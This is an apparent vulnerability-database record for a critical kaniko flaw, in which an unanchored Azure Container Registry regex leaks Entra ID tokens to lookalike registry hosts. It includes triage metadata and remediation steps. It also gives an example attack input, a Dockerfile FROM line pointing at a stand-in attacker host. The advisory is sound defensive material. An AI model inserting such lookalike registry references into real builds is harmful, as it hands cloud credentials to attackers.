{"id":"CVE-2026-105769","kind":"vulnerability","aliases":["CVE-2026-105769"],"related":[],"title":"kaniko: lookalike registry hostname leaks Azure access token during image builds","description":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","summary":"kaniko before 1.25.20 sends a Microsoft Entra ID access token for Azure Resource Manager to any registry host whose name contains .azurecr.io, because the ACR detection regex is unanchored. A Dockerfile that pulls from a lookalike host such as x.azurecr.io.attacker.com hands the build's Azure identity token to the attacker, who can use it against Azure with that identity's role assignments.","severity":"critical","cvss":9.3,"epss":null,"exploited":false,"exploited_at":null,"products":[],"ecosystems":[],"tags":["azure","azure-container-registry","ci-cd","containers","kaniko","package"],"not_affected_if":["ecr-or-explicit-registry-credentials-only","kaniko-1.25.20-or-later","no-azure-identity-in-build"],"how_to_check":"- Check the kaniko version in the build image or pipeline, e.g. `executor version` or the image tag, and confirm it is below `1.25.20`.\n- Look for Azure identity settings in the build environment (service principal environment variables, federated workload identity, or managed identity) that kaniko builds can use.\n- Review Dockerfiles and build arguments for `FROM` or `COPY --from=` references to hosts containing `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us` that are not your own registry.","fix":"- kaniko: move to `1.25.20` or later.","status":"open","published_at":"2026-11-02T17:17:32+00:00","first_seen_at":"2026-11-02T17:24:12+00:00","triaged_at":"2026-11-02T17:26:21+00:00","updated_at":"2026-11-02T17:26:21+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-02T17:26:21Z","model":"claude-haiku-5-5","output":{"fix":"- kaniko: move to `1.25.20` or later.","reach":"internet","title":"kaniko: lookalike registry hostname leaks Azure access token during image builds","impact":"high","summary":"kaniko before 1.25.20 sends a Microsoft Entra ID access token for Azure Resource Manager to any registry host whose name contains .azurecr.io, because the ACR detection regex is unanchored. A Dockerfile that pulls from a lookalike host such as x.azurecr.io.attacker.com hands the build's Azure identity token to the attacker, who can use it against Azure with that identity's role assignments.","audience":"developers","category":"package","nicknames":[],"who_cares":["kaniko","azure","azure-container-registry","ci-cd","containers"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Azure access token for the build identity is sent to attacker host","analyst_note":"","how_to_check":"- Check the kaniko version in the build image or pipeline, e.g. `executor version` or the image tag, and confirm it is below `1.25.20`.\n- Look for Azure identity settings in the build environment (service principal environment variables, federated workload identity, or managed identity) that kaniko builds can use.\n- Review Dockerfiles and build arguments for `FROM` or `COPY --from=` references to hosts containing `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us` that are not your own registry.","plain_action":"","needs_analyst":false,"not_affected_if":["kaniko-1.25.20-or-later","no-azure-identity-in-build","ecr-or-explicit-registry-credentials-only"],"who_is_affected":"Teams that run kaniko to build container images on Azure or with Azure identities available to the build, and that have no Docker config credentials for the registries they pull from. Builds that only use Google or Amazon ECR, or that have credentials set for every registry in the Docker config, are not reached through this path. The exposure needs the build to reference an attacker-controlled host, so review Dockerfile inputs from untrusted sources.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000832,"input_tokens":4476,"output_tokens":768,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-105769':14A,17A '-2026':13A,16A '/chrismellard/docker-credential-acr-env,':125C '/img':194C '/oauth2/exchange':226C '1.25.20':31B,93C,272C 'accept':150C 'access':7A,37B,102C,259C 'acr':53B,133C,254C 'ad':101C 'amazon':172C 'assign':90B,242C 'attack':78B,111C,228C 'attacker-control':110C 'azur':6A,18B,20B,40B,73B,84B,100C,105C,118C,209C,234C 'azure-container-registri':19B 'azurecr.cn':145C 'azurecr.de':146C 'azurecr.io':50B,144C 'azurecr.us':148C 'build':11A,71B,207C 'caus':198C 'cd':25B 'ci':24B 'ci-cd':23B 'config':165C 'consult':152C 'contact':176C 'contain':21B,26B,49B,119C,143C 'control':112C 'copi':196C 'credenti':121C,161C,251C 'cve':12A,15A 'decid':127C 'detect':54B 'docker':164C 'dockerfil':59B,180C 'ecr':173C 'entra':35B,98C 'environ':213C 'exchang':248C 'expir':245C 'express':139C 'feder':215C 'fix':270C 'github.com':124C 'github.com/chrismellard/docker-credential-acr-env,':123C 'googl':170C 'hand':69B 'helper':122C,154C,200C 'host':46B,65B,114C,130C,188C 'hostnam':4A,142C 'id':36B,99C 'ident':74B,87B,210C,217C,221C,239C,257C 'imag':10A,184C 'instruct':262C 'issu':268C 'kaniko':1A,27B,29B,91C,115C,151C 'leak':5A 'lookalik':2A,64B,187C 'manag':42B,107C,220C,236C 'microsoft':34B,97C 'name':48B 'obtain':202C 'packag':28B 'post':223C 'princip':212C 'pull':61B 'push':264C 'refer':182C 'regex':55B 'registri':3A,22B,45B,113C,120C,134C,157C,174C,178C,255C 'regular':138C 'requir':266C 'resourc':41B,106C,235C 'role':89B,241C 'run':261C 'send':32B,95C 'servic':211C 'token':8A,38B,75B,103C,204C,218C,232C 'unanchor':57B,137C 'use':81B,116C,230C 'variabl':214C 'whether':128C 'whose':47B 'workload':216C 'x.azurecr.io.attacker.com':68B,193C 'x.azurecr.io.attacker.com/img':192C","nicknames":[],"mitigations":[],"who_affected":"Teams that run kaniko to build container images on Azure or with Azure identities available to the build, and that have no Docker config credentials for the registries they pull from. Builds that only use Google or Amazon ECR, or that have credentials set for every registry in the Docker config, are not reached through this path. The exposure needs the build to reference an attacker-controlled host, so review Dockerfile inputs from untrusted sources.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":[],"ptokens":[],"labels":["azure","azurecontainerregistry","cicd","containers","critical","kaniko","package"],"first_public_at":"2026-11-02T16:32:58+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","cvss_by":"82cea9a6-e9e3-46fe-bdb0-3673de380178","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-105769","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105769","severity":null,"published_at":"2026-11-02T17:17:32+00:00","modified_at":"2026-11-02T17:17:32+00:00","first_seen_at":"2026-11-02T17:24:12+00:00","fetched_at":"2026-11-02T17:24:12+00:00","note":null}],"documents":[{"id":53006,"url":"https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","title":"Release notes: github.com","kind":"release","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release notes: github.com"},{"id":53007,"url":"https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","title":"Vendor advisory: github.com","kind":"vendor","source":"nvd","publisher":"vendor","text":null,"published_at":"2026-11-02T16:32:58+00:00","relation":"advisory","confidence":null,"note":"Vendor advisory: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}